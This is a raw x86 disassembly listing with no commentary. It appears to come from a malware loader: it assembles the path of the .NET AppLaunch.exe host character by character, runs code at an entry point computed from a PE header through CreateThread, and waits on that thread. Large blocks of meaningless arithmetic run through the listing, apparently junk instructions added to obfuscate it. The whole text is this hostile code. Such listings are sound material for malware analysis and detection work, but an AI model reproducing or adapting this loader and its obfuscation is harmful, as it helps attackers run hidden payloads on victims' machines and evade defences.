mov eax, 0x54
mov word [ebp - 0x58], ax
mov ecx, 0x5c
mov word [ebp - 0x56], cx
mov edx, 0x46
mov word [ebp - 0x54], dx
mov eax, 0x72
mov word [ebp - 0x52], ax
mov ecx, 0x61
mov word [ebp - 0x50], cx
mov edx, 0x6d
mov word [ebp - 0x4e], dx
mov eax, 0x65
mov word [ebp - 0x4c], ax
mov ecx, 0x77
mov word [ebp - 0x4a], cx
mov edx, 0x6f
mov word [ebp - 0x48], dx
mov eax, 0x72
mov word [ebp - 0x46], ax
mov ecx, 0x6b
mov word [ebp - 0x44], cx
mov edx, 0x5c
mov word [ebp - 0x42], dx
mov eax, 0x76
mov word [ebp - 0x40], ax
mov ecx, 0x34
mov word [ebp - 0x3e], cx
mov edx, 0x2e
mov word [ebp - 0x3c], dx
mov eax, 0x30
mov word [ebp - 0x3a], ax
mov ecx, 0x2e
mov word [ebp - 0x38], cx
mov edx, 0x33
mov word [ebp - 0x36], dx
mov eax, 0x30
mov word [ebp - 0x34], ax
mov ecx, 0x33
mov word [ebp - 0x32], cx
mov edx, 0x31
mov word [ebp - 0x30], dx
mov eax, 0x39
mov word [ebp - 0x2e], ax
mov ecx, 0x5c
mov word [ebp - 0x2c], cx
mov edx, 0x41
mov word [ebp - 0x2a], dx
mov eax, 0x70
mov word [ebp - 0x28], ax
mov ecx, 0x70
mov word [ebp - 0x26], cx
mov edx, 0x4c
mov word [ebp - 0x24], dx
mov eax, 0x61
mov word [ebp - 0x22], ax
mov ecx, 0x75
mov word [ebp - 0x20], cx
mov edx, 0x6e
mov word [ebp - 0x1e], dx
mov eax, 0x63
mov word [ebp - 0x1c], ax
mov ecx, 0x68
mov word [ebp - 0x1a], cx
mov edx, 0x2e
mov word [ebp - 0x18], dx
mov eax, 0x65
mov word [ebp - 0x16], ax
mov ecx, 0x78
mov word [ebp - 0x14], cx
mov edx, 0x65
mov word [ebp - 0x12], dx
xor eax, eax
mov word [ebp - 0x10], ax
mov ecx, dword [ebp - 0x90]
cmp dword [ecx + 0xe8], 0
setne dl
mov byte [ebp - 0xbd], dl
movzx eax, byte [ebp - 0xbd]
test eax, eax
je 0x40c56c
push 8
mov ecx, dword [ebp - 0xa4]
push ecx
lea edx, [ebp - 0xb4]
push edx
call fcn.00401210
add esp, 0xc
mov eax, dword [ebp - 0xa4]
lea ecx, [ebp - 0x88]
mov dword [eax + 4], ecx
lea edx, [ebp - 0x88]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 1
mov ecx, dword [ebp - 0xa4]
mov word [ecx], ax
sub ebx, 0xf1
mov edi, 0xd6
neg ebx
sbb edx, 0xd5
imul ebx
ror eax, 0x7f
neg edi
not esi
sbb edi, 0x97
ror esi, 0xdc
dec esi
and eax, 0xc9
rcl edx, 0x3b
neg esi
bswap edx
not eax
mov esi, 0xf3
inc esi
inc edi
dec eax
bswap eax
add edi, 0x2d
rcl edx, 0x11
rol edx, 0xda
sub ebx, 0x9c
sub ebx, 0xe2
rol edi, 0xf1
inc edx
or esi, 0x2a
rcr ebx, 0x35
bswap esi
sub eax, 0x9d
neg esi
add ebx, 0x77
imul edi
rol esi, 9
not edi
imul ebx
or edi, 0x3d
rcr ebx, 0x89
and eax, 0xa3
mov edx, 0xf4
inc edx
neg eax
dec eax
inc ebx
neg eax
not ebx
ror edi, 0xe7
neg edx
inc edx
bswap eax
rol edx, 0xc5
dec esi
ror esi, 0xd0
inc ebx
rcl esi, 0x38
or edi, 0x2b
dec ebx
ror eax, 0x17
inc ebx
not edx
inc esi
neg esi
imul esi
ror esi, 0x98
bswap esi
not edi
inc edi
neg edx
neg eax
sub esi, 0x87
rol eax, 0x6e
dec esi
sbb edi, 0xde
rol edx, 0xa4
dec esi
dec edi
ror edi, 0x95
imul esi
not edx
rol ebx, 0x11
neg esi
ror ebx, 0x29
dec eax
inc ebx
neg edx
imul edx
neg edx
sbb eax, 0x9b
neg eax
dec edi
rol eax, 0x87
sbb edi, 0x40
rol eax, 0x4b
rol edi, 0xc2
not edx
add eax, 0xd
rcl edx, 0xc1
mov esi, 0x55
sbb edx, 0x80
rcr ebx, 0xe1
and eax, 0x56
mov eax, 0x18
and esi, 0x73
inc edi
sub esi, 0x9c
sbb eax, 0xa0
dec edx
rol eax, 0x9b
and edx, 0xf2
imul eax
neg edi
neg edi
ror edx, 0x79
neg edi
rol edi, 0x94
neg eax
sub eax, 0xf5
rcl ebx, 0xa3
and eax, 0x95
sub ebx, 0x29
dec esi
and ebx, 0xb9
imul ebx
sub edx, 1
mov eax, 0xc2
sbb edx, 0x1b
inc edi
not esi
ror edx, 0x75
bswap eax
rcl edx, 0x27
neg edx
rcr esi, 0xba
and edx, 0xa
imul esi
rcl edx, 0x28
not ebx
dec eax
bswap ebx
rcl eax, 0x73
or edx, 9
and eax, 0xb
ror eax, 0x8a
neg eax
neg ebx
and eax, 0x44
rcr eax, 0x85
rol esi, 0x67
push 0
push 0
push 0
mov edx, dword [ebp - 0x90]
mov eax, dword [ebp - 0x8c]
add eax, dword [edx + 0x28]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0xac], eax
movzx ecx, byte [ebp - 0xbd]
test ecx, ecx
je 0x40c757
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 8
lea edx, [ebp - 0xb4]
push edx
mov eax, dword [ebp - 0xa4]
push eax
call fcn.00401210
add esp, 0xc
push 0xffffffffffffffff
mov ecx, dword [ebp - 0xac]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
not eax
add esi, 0xb4
imul edi
sbb edi, 0xb0
rcr esi, 0xb9
ror edx, 0xdd
rol esi, 0xda
neg edi
sbb esi, 0xc5
neg edi
or esi, 0x55
rcr esi, 0x8a
dec edx
dec eax
or edi, 0x9e
sbb edx, 0xc0
inc ebx
or ebx, 0x6f
neg ebx
neg esi
not edi
not ebx
and ebx, 0x2e
imul ebx
dec edi
inc esi
not ebx
rol esi, 0xea
dec esi
sbb ebx, 0xcb
not edx
ror edx, 0xf2
sub eax, 0xde
inc eax
sub edi, 0xa5
dec esi
rcl eax, 0x68
imul eax
ror edx, 0x43
mov eax, 0x14
add edi, 0x3f
rol edx, 0xf6
rcl ebx, 0x11
rcl esi, 0x70
inc eax
ror eax, 0xdb
not esi
rcr esi, 0x38
dec esi
add ebx, 0xda
ror edi, 0x7c
imul edx
neg esi
inc edx
bswap edx
neg eax
or ebx, 0x3a
dec eax
not ebx
rol edi, 0xae
rcr ebx, 0x54
inc ebx
neg edi
rcr esi, 0x30
not esi
ror esi, 0x9b
ror edx, 0x52
imul edx
rcl ebx, 0xcc
dec edi
dec edx
imul ebx
inc eax
dec ebx
rcl edx, 0xc
rcl ebx, 0xc5
inc edi
imul edi
mov ebx, 0xca
add edx, 0x6f
rol ebx, 0xb
rcr ebx, 0xe
add eax, 0x28
rcl edx, 0xb1
dec edi
dec eax
inc edi
or esi, 0xf8
sub eax, 0x91
rcl edx, 0x1d
rcr edx, 0x29
sbb esi, 0x54
ror eax, 0x67
inc esi
inc eax
bswap edi
imul esi
dec edi
and esi, 0xbc
and eax, 0x46
imul eax
rcl esi, 0x5c
add esi, 0x42
dec eax
dec ebx
rcr eax, 0x7b
neg edi
inc edx
sub eax, 0xf7
and eax, 0x35
bswap esi
dec edi
sub edx, 0x54
inc esi
and ebx, 0xde
neg esi
inc esi
sub edx, 0xee
not edi
dec ebx
ror ebx, 0x75
neg edi
sub ebx, 0xe2
bswap esi
imul esi
and edi, 0x43
sbb edx, 0xb6
dec edi
rcl eax, 0x82
inc edi
sbb ebx, 0xfa
not edx
not eax
and edx, 0x8f
rol edi, 0x14
add edx, 0xc4
neg eax
imul eax
ror eax, 0x43
and esi, 0x8b
inc esi
and eax, 0xf6
neg edi
bswap edx
mov eax, 0x35
imul esi
bswap edi
sbb edi, 0x21
mov edi, 0x92
rcr eax, 0x3c
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret